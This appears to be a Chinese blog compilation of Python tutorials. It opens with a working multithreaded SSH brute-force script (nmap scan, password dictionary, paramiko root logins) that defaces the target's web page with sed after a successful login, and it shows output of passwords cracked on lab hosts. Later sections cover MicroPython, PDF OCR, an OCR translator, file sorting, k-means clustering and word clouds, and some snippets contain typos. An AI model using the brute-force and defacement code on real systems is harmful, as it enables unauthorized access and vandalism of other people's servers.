​ 在上一个例子中我们可以看到程序运行的速度,远远不能实现我们的要求。需要等待上一个SSH登录完成后程序才可以进行向下执行。此情此景,像极了少时候罚抄“我错了,下次还敢”一样。每次在田格本上一行一行的吵,都觉得自己蠢死啦。就拿两支笔 同时夹在手上 两行两行的写。回到我们的例子中,该如何实现这样速度加倍的操作呢?在计算机的世界里,CPU就像是我们的手,同时能处理的任务就像我们一只手同时能握住几只笔。在计算资源丰富的今天,我们可以充分利用多核CPU开启多线程实现速度加倍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/local/bin/python3

import paramiko
import time
import nmap
import threading

"""
SSH端口扫描
"""

def PortScan(target):
openHost = []
nm = nmap.PortScanner()
nm.scan(target[0], target[1])
for host in nm.all_hosts():
print('------------------------------')
print('Host:{}{}'.format(host,nm[host].hostname()))
print('Stat:{}'.format(nm[host].state()))
for proto in nm[host].all_protocols():
print('-----------')
print('Protocol:{}'.format(proto))

lport = nm[host][proto].keys()
for port in lport:
state = nm[host][proto][port]['state']
print('Port:{} State:{}'.format(port,state))
for pwd in password:
openHost.append({'hostname':host, 'port':port,'pwd':pwd,'state':state})
return openHost



"""
暴力破解字典
"""
password = []
fo = open('password.txt','r')
for pwd in fo:
password.append(pwd.replace('\n', ''))

"""
模拟SSH登录
"""
def sshclient(ssh_hostname,ssh_port,ssh_password,ssh_state):
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

if ssh_state == "open":
try:
# 连接服务器
ssh.connect(hostname=ssh_hostname, port=ssh_port, username="root", password=ssh_password, banner_timeout=500, auth_timeout=300, timeout=300)
# 执行命令
cmd = "sed -i 's/KKming/Bili说唱新时代每周六八点不准时更新Bili/' /var/www/html/index.html"
stdin, stdout, stderr = ssh.exec_command(cmd)
# 获取命令结果
print('目标主机:{},SSH端口{},暴力破解成功!!! 使用密码:{},在远端执行pwd命令:{}'.format(ssh_hostname,ssh_port,ssh_password,stdout.read()))

except:
print('目标主机:{},SSH端口{},暴力破解失败!!! 使用密码:{}'.format(ssh_hostname,ssh_port,ssh_password))



def main():
target_list = input('输入扫描的主机和端口范围(例如:192.168.1.199,18-22):').split(',')
threads = []
start = time.perf_counter()
for x in PortScan(target_list):
t = threading.Thread(target=sshclient, args=(x['hostname'],x['port'],x['pwd'],x['state']))
t.start()
threads.append(t)
for i in threads:
i.join()
end = time.perf_counter()
print('暴力破解一共使用{:.2f}秒'.format(end - start))

if __name__ == '__main__':
main()

最终代码:我们在主函数中添加了多线程的代码。并切在破解主机SSH密码后修改其WebServer展示的内容。让我们一起来看看效果吧。

想要了解多线程更加详细的使用方法和原理,请参看大佬的专栏。弈心:网络工程师的Python之路 – 多线程(Multithreading)

WebServer原始页面:

image-20220807003133640

输出用时:8.27秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[root@localhost ~]# python3 nmap_tools.py 
输入扫描的主机和端口范围(例如:192.168.1.199,18-22):192.168.1.198-199,18-22
------------------------------
Host:192.168.1.198
Stat:up
-----------
Protocol:tcp
Port:18 State:closed
Port:19 State:closed
Port:20 State:closed
Port:21 State:closed
Port:22 State:open
------------------------------
Host:192.168.1.199
Stat:up
-----------
Protocol:tcp
Port:18 State:closed
Port:19 State:closed
Port:20 State:closed
Port:21 State:closed
Port:22 State:open
目标主机:192.168.1.199,SSH端口22,暴力破解成功!!! 使用密码:Pwd@1234,在远端执行pwd命令:b''
目标主机:192.168.1.198,SSH端口22,暴力破解成功!!! 使用密码:Pwd@1234,在远端执行pwd命令:b''
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:1qaz2wsx
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:19981109
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:1qaz2wsx
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:qwerjkl123
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:19981109
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:fj3298kdskkmf2
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:2300fgjgikvof
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:qwerjkl123
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:dsikmkckfie9
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:di29odsklsdjf
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:29123kdkdfjf
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:29123kdkdfjf
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:fj3298kdskkmf2
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:dsikmkckfie9
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:2300fgjgikvof
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:di29odsklsdjf
暴力破解一共使用8.27

再次访问WebServer页面:

image-20220807003212967

Micropython

[TOC]

前言

本章我们让我们看看python时如何点亮单片机上的小灯,并让他连接家中的WiFi呢?

一、环境准备

image-20220806203818002

image-20220806203843385

二、连接开发板

  • 使用购买时的数据线连接单片机与电脑,驱动将自动安装,我们只需要找到设备对应的COM接口。

image-20220806203903630

  • 首先擦除flash内容

  • 开始烧写固件

image-20220806203952872

  • 配置图形化工具

image-20220806204013042

image-20220806204021803

image-20220806204030654

三、点亮小灯

1
2
3
4
5
6
7
8
from machine import Pin
from time import sleep
led = Pin(2,Pin.OUT)
while 1:
len.on()
sleep(1)
len.off()
sleep(1)

image-20220806204101766

四、连接WiFi

1
2
3
4
5
6
7
8
9
import network
wlan = network.WLAN(network.STA_IF)
wlan.active(True)
if not wlan.isconnected():
print('connecting to network…')
wlan.connect('Tenda_456ED8', 'Pwd@1234')
while not wlan.isconnected():
pass
print('network config:', wlan.ifconfig())

image-20220806204131978

Python PDF2Txt

[TOC]

前言

​ 本篇节我们尝试将PDF的图片内容转化为Txt文本

一、技术路线

1、pdf2image — 将PDF转化为图片内容

2、pytesseract —OCR引擎,将图片转化为文字内容

二、实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pdf2image import  convert_from_bytes
import pytesseract


def Pdf2Txt(filename):

"""
将PDF解析为图片内容
"""
images = convert_from_bytes(open(filename, 'rb').read())
for image in images:
image.save('psReport_%s.png' % images.index(image), 'PNG')

"""
将图片内容解析为文字内容
"""
pil_img = ('psReport_%s.png' % images.index(image))
result = pytesseract.image_to_string(
pil_img, timeout=5, lang='chi_sim'
)
#print(result)

fo= open('result.txt','a+', encoding='utf-8')
fo.write(result)
fo.close()

"""
简单优化结果,去除文件空行
"""
New_lines = []
fo1 = open('result.txt','r+',encoding='utf-8')
fo1.seek(0)
for line in fo1.readlines():
if line not in ['\n',' \n']:
New_lines.append(line)
print(New_lines)
fo1.seek(0)
fo1.truncate(0)
fo1.writelines(New_lines)
fo1.close()

file = input('Please enter the name of the PDF file to be converted to text:')

Pdf2Txt(file)

三、效果展示

–原始PDF文件

image-20220807002141897

–Pdf2Txt效果

image-20220807002159558

Python 从零打造OCR翻译软件

[TOC]

前言

​ 本次文章记录 我是如何自己动手,制作一款翻译软件的过程。

一、技术路线

1、GUI-PyQt5

2、翻译API-有道翻译

3、截屏-系统自带截屏命令

4、OCR-Google Tesseract

二、细节

1、GUI-PyQt5

  • 设想页面

image-20220807001500516

  • 动手操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *

"""
定义控件
""
def Translation():
pass



#清除所有文本框
def ClearAll():
OriginalText.clear()
OutputArea.clear()


def OCR():
pass



"""
创建主窗口
"""
TransformApp = QApplication(sys.argv)
Transformwidget = QWidget()

"""
设置多行文本框
"""
#Enter the English text to be translated:
Title1Text = QTextEdit(Transformwidget)
Title1Text.setReadOnly(True)
#Title1Text.setFont(QFont('SimSun',15))
Title1Text.setMaximumSize(QSize(600,33))
label1 = "<span style=' color:#8FBC8F;'>Enter the English text to be translated:</span>"
Title1Text.append(label1)
OriginalText = QTextEdit(Transformwidget)
OriginalText.setMaximumSize(QSize(600,250))



#Results:
Title2Text = QTextEdit(Transformwidget)
#Title2Text.setReadOnly(True)
#Title2Text.setFont(QFont('SimSun',15))
Title2Text.setMaximumSize(QSize(600,33))
label2 = "<span style=' color:#8FBC8F;'>Results:</span>"
Title2Text.append(label2)
OutputArea = QTextEdit(Transformwidget)
OutputArea.setReadOnly(True)
OutputArea.setFont(QFont('SimSun',12))
OutputArea.setMaximumSize(QSize(600,250))
btnTranslation = QPushButton('Translation',Transformwidget)
btnCancel = QPushButton('cancel',Transformwidget)
btnOCR = QPushButton('OCR',Transformwidget)

"""
定义信号槽,按钮关联控件
"""
#Translation
btnTranslation.clicked.connect(Translation)
#Cancel
btnCancel.clicked.connect(ClearAll)
#OCR
btnOCR.clicked.connect(OCR)

"""
窗口布局
"""
hbox = QHBoxLayout()
hbox.addWidget(btnTranslation)
hbox.addWidget(btnCancel)
hbox.addWidget(btnOCR)
vbox = QVBoxLayout()
vbox.addWidget(Title1Text)
vbox.addWidget(OriginalText)

vbox.addWidget(Title2Text)
vbox.addWidget(OutputArea)
vbox.addLayout(hbox)
Transformwidget.setLayout(vbox)
Transformwidget.setGeometry(0,0,600,600)
Transformwidget.setWindowTitle('OCR翻译工具')
#窗口居中
screen = QDesktopWidget().screenGeometry()
size = Transformwidget.geometry()
Transformwidget.move((screen.width() - size.width()) / 2,(screen.height() - size.height()) /2)
Transformwidget.show()
sys.exit(TransformApp.exec_()
  1. 有道翻译API
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
-*- coding: utf-8 -*-
import sys
import uuid
import requests
import hashlib
import time
from imp import reload

import time

reload(sys)

YOUDAO_URL = 'https://openapi.youdao.com/api'
APP_KEY = '您的应用ID'
APP_SECRET = '您的应用密钥'


def encrypt(signStr):
hash_algorithm = hashlib.sha256()
hash_algorithm.update(signStr.encode('utf-8'))
return hash_algorithm.hexdigest()


def truncate(q):
if q is None:
return None
size = len(q)
return q if size <= 20 else q[0:10] + str(size) + q[size - 10:size]


def do_request(data):
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
return requests.post(YOUDAO_URL, data=data, headers=headers)


def connect():
q = "待输入的文字"

data = {}
data['from'] = '源语言'
data['to'] = '目标语言'
data['signType'] = 'v3'
curtime = str(int(time.time()))
data['curtime'] = curtime
salt = str(uuid.uuid1())
signStr = APP_KEY + truncate(q) + salt + curtime + APP_SECRET
sign = encrypt(signStr)
data['appKey'] = APP_KEY
data['q'] = q
data['salt'] = salt
data['sign'] = sign

response = do_request(data)
contentType = response.headers['Content-Type']
if contentType == "audio/mp3":
millis = int(round(time.time() * 1000))
filePath = "合成的音频存储路径" + str(millis) + ".mp3"
fo = open(filePath, 'wb')
fo.write(response.content)
fo.close()
else:
print(response.content)


if __name__ == '__main__':
connect()
  1. 屏幕截图
1
2
3
4
5
6
from PIL import ImageGrab
import os

os.system('screencapture -i -c')
image = ImageGrab.grabclipboard()
image.save("screen.png")
  1. OCR识别-Tesseract

​ Tesseract最初是在1985年至1994年之间在布里斯托的惠普实验室和位于格里利科罗拉多州的惠普公司开发的,1996年进行了一些更改以移植到Windows,并在1998年进行了一些C ++化。2005年Tesseract开放,自2006年以来,它是由Google开发的。

1
2
3
4
5
6
7
#调用OCR

import pytesseract

result = pytesseract.image_to_string(
"screen.png", timeout=5,
)
  1. 文本输入翻译

image-20220807001749662

三、功能演示

  1. 图片内容翻译

这里我们调用系统的截图功能,并将剪贴板里的截图保存到本地,传入OCR引擎中,翻译为文字后,通过有道API进行翻译。

image-20220807001821389

Python 文件分类

[TOC]

前言

今天分享一小段代码来实现对文件的分类。实现的效果:将文件夹(SoftwareDevelopment)中的文档、代码、图片等复制一份到指定的目录中归类。

一、导入内置库

1
import os,shutil,time
1
2
3
os : 用户判断文件是否为目录 ,以及文件是否存在.
shutil:对文件 进行copy操作
time:记录 程序运行时间

二、构建函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def FileSort(dir_name):
dir_list = []

Development_target = r'/Users/kkming/Development'
Document_target = r'/Users/kkming/Document'
Other_target = r'/Users/kkming/Other'

#列出将当前目录下所文件,文件夹
All_file = os.listdir(dir_name)

for file_name in All_file:
absolute_path = dir_name + "/" + file_name

if os.path.isdir(absolute_path):
dir_list.append(absolute_path)

elif absolute_path[-5:]=='.java' or absolute_path[-3:] == '.py' or absolute_path[-2:] == '.c':
shutil.copy(absolute_path,Development_target)
print('{:<}{:=^20}{:>}'.format(absolute_path,'Copy',Development_target))

elif absolute_path[-4:] in ['.doc','.PPT','.pdf'] or absolute_path[-5:] == '.xlsx':
shutil.copy(absolute_path,Document_target)
print('{:<}{:=^20}{:>}'.format(absolute_path, 'Copy', Document_target))

else:
shutil.copy(absolute_path,Other_target)
print('{:<}{:=^20}{:>}'.format(absolute_path, 'Copy', Other_target))

​ 这段代码的逻辑很简单,我们将需要归类的文件夹中所有文件 +文件夹 都一一列出,并拼接它们的绝对路径。然后基于文件的后缀名称进行判断,通过if-elif-else的逻辑结构将它们分好类,并加入到指定的目标文件夹中。

​ 真实的环境中,我们在一个文件夹中可能包含很多子文件夹,这里我们需要使用递归的方式来让函数调用自己去完成子文件夹中文件的分类。

1
2
3
for dir_path in dir_list:
os.chdir(dir_path)
FileSort(dir_path)

​ 最后我们提示用户输入指定的归类目录,在这里我们添加上try-except的逻辑结构,增加程序的稳定性,避免给用户恶劣的报错体验。其中我们还使用OS模块添加了一个小小的判断,来确认文件夹是否真实存在。

1
2
3
4
5
6
7
8
9
try:
source = input('Please input you want to sort of Folder:')
if os.path.exists(source):
FileSort(source)
print('Total Time:{:.2f}'.format(time.perf_counter() - start))
else:
print('The Folder you entered does not exist')
except:
print('Your input is incorrect,Please refer:/Users/kkming/SoftwareDevelopment')

三、 完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os,shutil,time

start = time.perf_counter()

"""
定义文件夹处理函数
"""
def FileSort(dir_name):
dir_list = []

Development_target = r'/Users/kkming/Development'
Document_target = r'/Users/kkming/Document'
Other_target = r'/Users/kkming/Other'

#列出将当前目录下所文件,文件夹
All_file = os.listdir(dir_name)

for file_name in All_file:
absolute_path = dir_name + "/" + file_name

if os.path.isdir(absolute_path):
dir_list.append(absolute_path)

elif absolute_path[-5:]=='.java' or absolute_path[-3:] == '.py' or absolute_path[-2:] == '.c':
shutil.copy(absolute_path,Development_target)
print('{:<}{:=^20}{:>}'.format(absolute_path,'Copy',Development_target))

elif absolute_path[-4:] in ['.doc','.PPT','.pdf'] or absolute_path[-5:] == '.xlsx':
shutil.copy(absolute_path,Document_target)
print('{:<}{:=^20}{:>}'.format(absolute_path, 'Copy', Document_target))

else:
shutil.copy(absolute_path,Other_target)
print('{:<}{:=^20}{:>}'.format(absolute_path, 'Copy', Other_target))

#使用递归的方式处理子目录
for dir_path in dir_list:
os.chdir(dir_path)
FileSort(dir_path)


try:
source = input('Please input you want to sort of Folder:')
if os.path.exists(source):
FileSort(source)
print('Total Time:{:.2f}'.format(time.perf_counter() - start))
else:
print('The Folder you entered does not exist')
except:
print('Your input is incorrect,Please refer:/Users/kkming/SoftwareDevelopment')

四、 代码输出

image-20220807001150370

五、 效果展示

-待归类目录:SoftwareDevelopment

image-20220807001254197

-归类后目录:Development

image-20220807001245572

-归类后目录:Document

image-20220807001237408

-归类后目录:Other

image-20220807001217951

视频效果

Python 机器学习(k-means)

[TOC]

一、机器学习之无监督学习

利用无标签的数据学习数据的分布或数据与数据之间的关系被称为无监督学习

二、K-means算法

k-means算法以k为参数,把n个对象分成k个簇,使簇内具有较高的相似

度,而簇间的相似度较低。

其处理过程如下:

1.随机选择k个点作为初始的聚类中心,

2,对于剩下的点,根据其与聚类中心的距离,将其归入最近的簇

3,对每个簇,计算所有点的均值作为新的聚类中心

4,重复2、3直到聚类中心不再发生改变

image-20220806212732037

三、K-means应用场景

将LPL 2020春季赛所有打野选手的“场均经济 * 参团率”(我命名为:有效经济转化)进行聚类,最终将选手加入指定的(A,B,C,D)班级中。

四、数据来源

image-20220806212824576

五、代码解析

  • 第三方库安装
1
2
3
4
pip install Numpy      #sklearn依赖库
pip install Scipy #sklearn依赖库
pip install matplotlib #sklearn依赖库
pip install sklearn
  • 模块导入
1
2
import numpy as np
from sklearn.cluster import KMeans
  • 数据清洗(利用Excel将数据计算重组导出成CSV格式)
1
2
3
4
5
6
JDGKanavi,9280.81
WEbeishang,8133.52
LGDPeanut,8460.32
FPXTian,6869.51
TESKarsa,6382.03
ESWei,8342.52
  • 编写数据载入函数
1
2
3
4
5
6
7
8
9
10
def loadData(filePath):
fr = open(filePath,"r+")
lines = fr.readlines()
vaild_money = []
player_name = []
for line in lines:
items = line.strip().split(",")
player_name.append(items[0])
vaild_money.append([float(items[1])]) #注意此处需要将数据以[9280.81]加入列表中,为后面选手分班作铺垫
return vaild_money,player_name
  • 编写聚类函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if __name__ == '__main__':
money,name = loadData('LPL2020.txt')
km = KMeans(n_clusters=4) #设置班级的数量为4
print(money,name)
label = km.fit_predict(money) #计算簇中心并分配序号
print(label)
expenses = np.sum(km.cluster_centers_,axis=1) #计算每个班的平均成绩
print(expenses)
topJungle = [[],[],[],[]] #生成空列表对应上面班级的数量
for i in range(len(name)):
topJungle[label[i]].append(name[i]) #将选手加入对应的班级
print(topJungle)
for i in range(len(topJungle)):
print("Expenses:%.2f" % expenses[i]) #打印每个班的平均成绩
print(topJungle[i])

六、分班结果

image-20220806212929230

Python 时间刺客

[TOC]

前言

本章我们看看如何使用Python来制作一个时间刺客-Ekko的词云

一、环境准备

1
2
cmd>pip install  wordcloud      #用于词云展示
cmd>pip install imageio #用于读取图片文件

image-20220806213420148

KKming.csv

我们将想要展示的词语以指定的格式存贮在文件中,注意每一行的逗号和尾行一定不能是空行,其中:“盲僧”为最终展示的词云成员;“100”为它在词云中的相对占比。

image-20220806213444126

map.png

我们用词语来填充这位“祖安少年”形成词云。注意我们选择图片的时候背景必须是白色。

image-20220806213504442

二、代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import wordcloud
from imageio import imread

fo = open("KKming.csv","r",encoding="UTF-8")
list = []
d = {}
for line in fo.readlines():
#去除换行符
line=line.strip('\n')
#以逗号将字符串分隔为列表
line=line.split(","))
#将关键字和词频放入到字典中
d[line[0]] = (line[1])
#将关键字重复对应的次数
line[0]= ((line[0] + " ") * int(line[1]))
#向列表中添加关键字
list.append(line[0])
fo.close()
#imread方法将图片文件转换为一个图片文件表达的内部变量
mask = imread("map.png")
#将列表中的元素用空格连接为一个字符串
txt = " ".join(list)
w = wordcloud.WordCloud( font_path = "msyh.ttc", mask = mask ,collocations=False,\
width = 1000, height = 700, background_color = "white",\
)
#默认collocations=True,会统计搭配词
w.generate(txt)
w.to_file("map-wordcloud.png")

三、效果展示

image-20220806213533305

四、应用场景

1、PPT中展示一个酷炫的词云

image-20220806213555349

  1. 在比较冗长的文本文件中,如果我们可以用词云将最最最x100的频繁的词语,用词云的方式展示出来是不是会更快的理解其中的大概内容呢?(需要使用第三方库:jieba)